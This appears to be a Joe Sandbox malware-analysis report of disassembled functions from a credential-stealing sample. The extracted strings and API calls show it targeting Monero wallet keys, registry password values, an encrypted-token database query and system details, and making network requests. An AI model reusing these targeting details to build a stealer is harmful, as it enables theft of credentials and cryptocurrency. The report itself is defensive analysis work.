Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 9616d548bd66d7e46944b85f020eabfc620c839a1e630f0518ea5042913e6426
Instruction ID: a864373b801ab07863ac24c9c6d3a338ce40dd81775a3a2d2e8dd2b880be44c9
Opcode Fuzzy Hash: 9616d548bd66d7e46944b85f020eabfc620c839a1e630f0518ea5042913e6426
Instruction Fuzzy Hash: 175175B2D102185BCB19EB60DD96FED73BCEF50300F4451B9B60A72182EE705B86CB95

Function 00ED7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00ED7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00ED757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7603
RtlAllocateHeap.NTDLL(00000000), ref: 00ED760A
wsprintfA.USER32 ref: 00ED7640

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Strings

:, xrefs: 00ED755C
\, xrefs: 00ED7560
, xrefs: 00ED764D, 00ED7655, 00ED761B, 00ED7623
C, xrefs: 00ED754C

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-3109660283
Opcode ID: 28645bd24926bdf46ce1472992cfced0ca6bd9a87783de69025c004d2c84672f
Instruction ID: c2028bef5224c297fe6cc0d200e299e3455a1a1d55021bc646953b282c8cee38
Opcode Fuzzy Hash: 28645bd24926bdf46ce1472992cfced0ca6bd9a87783de69025c004d2c84672f
Instruction Fuzzy Hash: A2418FB1D04358ABDB11DF94DC45BEEBBB8EF08704F10009AF50977280E774AA85CBA5

Function 00EC75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC72D0: memset.MSVCRT ref: 00EC7314
Part of subcall function 00EC72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00EC733A
Part of subcall function 00EC72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00EC73B1
Part of subcall function 00EC72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00EC740D
Part of subcall function 00EC72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00EC7452
Part of subcall function 00EC72D0: HeapFree.KERNEL32(00000000), ref: 00EC7459

lstrcat.KERNEL32(2F536020,00EE17FC), ref: 00EC7606
lstrcat.KERNEL32(2F536020,00000000), ref: 00EC7648
lstrcat.KERNEL32(2F536020, : ), ref: 00EC765A
lstrcat.KERNEL32(2F536020,00000000), ref: 00EC768F
lstrcat.KERNEL32(2F536020,00EE1804), ref: 00EC76A0
lstrcat.KERNEL32(2F536020,00000000), ref: 00EC76D3
lstrcat.KERNEL32(2F536020,00EE1808), ref: 00EC76ED
task.LIBCPMTD ref: 00EC76FB

Strings

: , xrefs: 00EC764E

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: eeecbfa1ad6ce0bc3e6a2ce0ce79fcc8621b33ca385e0dce6960fc7f4998a2d0
Instruction ID: c0a799a38b44c012a6b0c8bd4e4b53906d9b268a07007b2f52af7c2a423af6fe
Opcode Fuzzy Hash: eeecbfa1ad6ce0bc3e6a2ce0ce79fcc8621b33ca385e0dce6960fc7f4998a2d0
Instruction Fuzzy Hash: 74314F72D00209DFCB19EBA4EE45EEE77B4BF48301B10512DF112B7284DA75AA87CB50

Function 00EC72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00EC7314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00EC733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00EC73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00EC740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00EC7452
HeapFree.KERNEL32(00000000), ref: 00EC7459
task.LIBCPMTD ref: 00EC7555

Strings

Password, xrefs: 00EC7401

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: e4dd8114a8b2ed5b322c94adef7def945ef410009e41bcec2ab7ce961eed7ce7
Instruction ID: 703c6d87661752b6833fd219ebc6f3ac215aeb7cb548615c18adbfcf05a515d4
Opcode Fuzzy Hash: e4dd8114a8b2ed5b322c94adef7def945ef410009e41bcec2ab7ce961eed7ce7
Instruction Fuzzy Hash: 87614CB590425C9BDB24DB50DE45FDAB7B8BF44300F0091E9E689B6141DBB15BCACF90

Function 00ED8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00A9E590,00000000,?,00EE0E2C,00000000,?,00000000), ref: 00ED8130
RtlAllocateHeap.NTDLL(00000000), ref: 00ED8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00ED8158
__aulldiv.LIBCMT ref: 00ED8172
__aulldiv.LIBCMT ref: 00ED8180
wsprintfA.USER32 ref: 00ED81AC

Strings

@, xrefs: 00ED814D
%d MB, xrefs: 00ED81A3

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: fc23ab20addbf9cd8aa6d8e7f0d344aa603a851581c787b85166d1f43d642901
Instruction ID: b6ee2052684381bc1372dd8d7922b62df2d91b1374f92d0bbcddbae7d056d318
Opcode Fuzzy Hash: fc23ab20addbf9cd8aa6d8e7f0d344aa603a851581c787b85166d1f43d642901
Instruction Fuzzy Hash: CF215EB1E44318ABDB14DFD4DD49FAEB7B8FB44B00F10421AF615BB284D7B869018BA4

Function 00ECBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

lstrlen.KERNEL32(00000000), ref: 00ECBC9F

Part of subcall function 00ED8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00ED8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00ECBCCD
lstrlen.KERNEL32(00000000), ref: 00ECBDA5
lstrlen.KERNEL32(00000000), ref: 00ECBDB9

Strings

AccountId, xrefs: 00ECBCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00ECBBEB
AccountTokens, xrefs: 00ECBB49
AccountTokens, xrefs: 00ECBABA

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 47f5c78a9fe8300b5f5973adfaa45e1ff5d0cf25c6a70939e5e66e9b2a3f2ddb
Instruction ID: de55d2ae355b58e6b2fd3ca424d84b5ce2cc7b0de73918fb832eeda85f847585
Opcode Fuzzy Hash: 47f5c78a9fe8300b5f5973adfaa45e1ff5d0cf25c6a70939e5e66e9b2a3f2ddb
Instruction Fuzzy Hash: B7B154769102089BCB18EBA0DD96EEE73B8EF54300F44517AF50673191EF746B4ACB62

Function 00EC4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00EC4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00EC4FD1
InternetOpenA.WININET(00EE0DDF,00000000,00000000,00000000,00000000), ref: 00EC4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00EC5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00EC5041
InternetCloseHandle.WININET(?), ref: 00EC50B9
InternetCloseHandle.WININET(?), ref: 00EC50C6

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: db2d872650331c3362b86a2d7c37cbe573159973d14b6bdb625c591007cec8bb
Instruction ID: ee791ae4c0145f897b5d0f12fe9ea07418186bb7aaca43c72f19abba394ae386
Opcode Fuzzy Hash: db2d872650331c3362b86a2d7c37cbe573159973d14b6bdb625c591007cec8bb
Instruction Fuzzy Hash: 783108B5E0021CABDB24CF54DD85BDCB7B4EB48704F1081E9EA09B7285C7B16AC58F98

Function 00ED83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00ED8426
wsprintfA.USER32 ref: 00ED8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00ED847B
RegCloseKey.ADVAPI32(00000000), ref: 00ED848C
RegCloseKey.ADVAPI32(00000000), ref: 00ED8499

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

RegQueryValueExA.KERNEL32(00000000,00A9E4E8,00000000,000F003F,?,00000400), ref: 00ED84EC
lstrlen.KERNEL32(?), ref: 00ED8501
RegQueryValueExA.KERNEL32(00000000,00A9E5A8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00EE0B34), ref: 00ED8599
RegCloseKey.KERNEL32(00000000), ref: 00ED8608
RegCloseKey.ADVAPI32(00000000), ref: 00ED861A

Strings

%s\%s, xrefs: 00ED844D

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
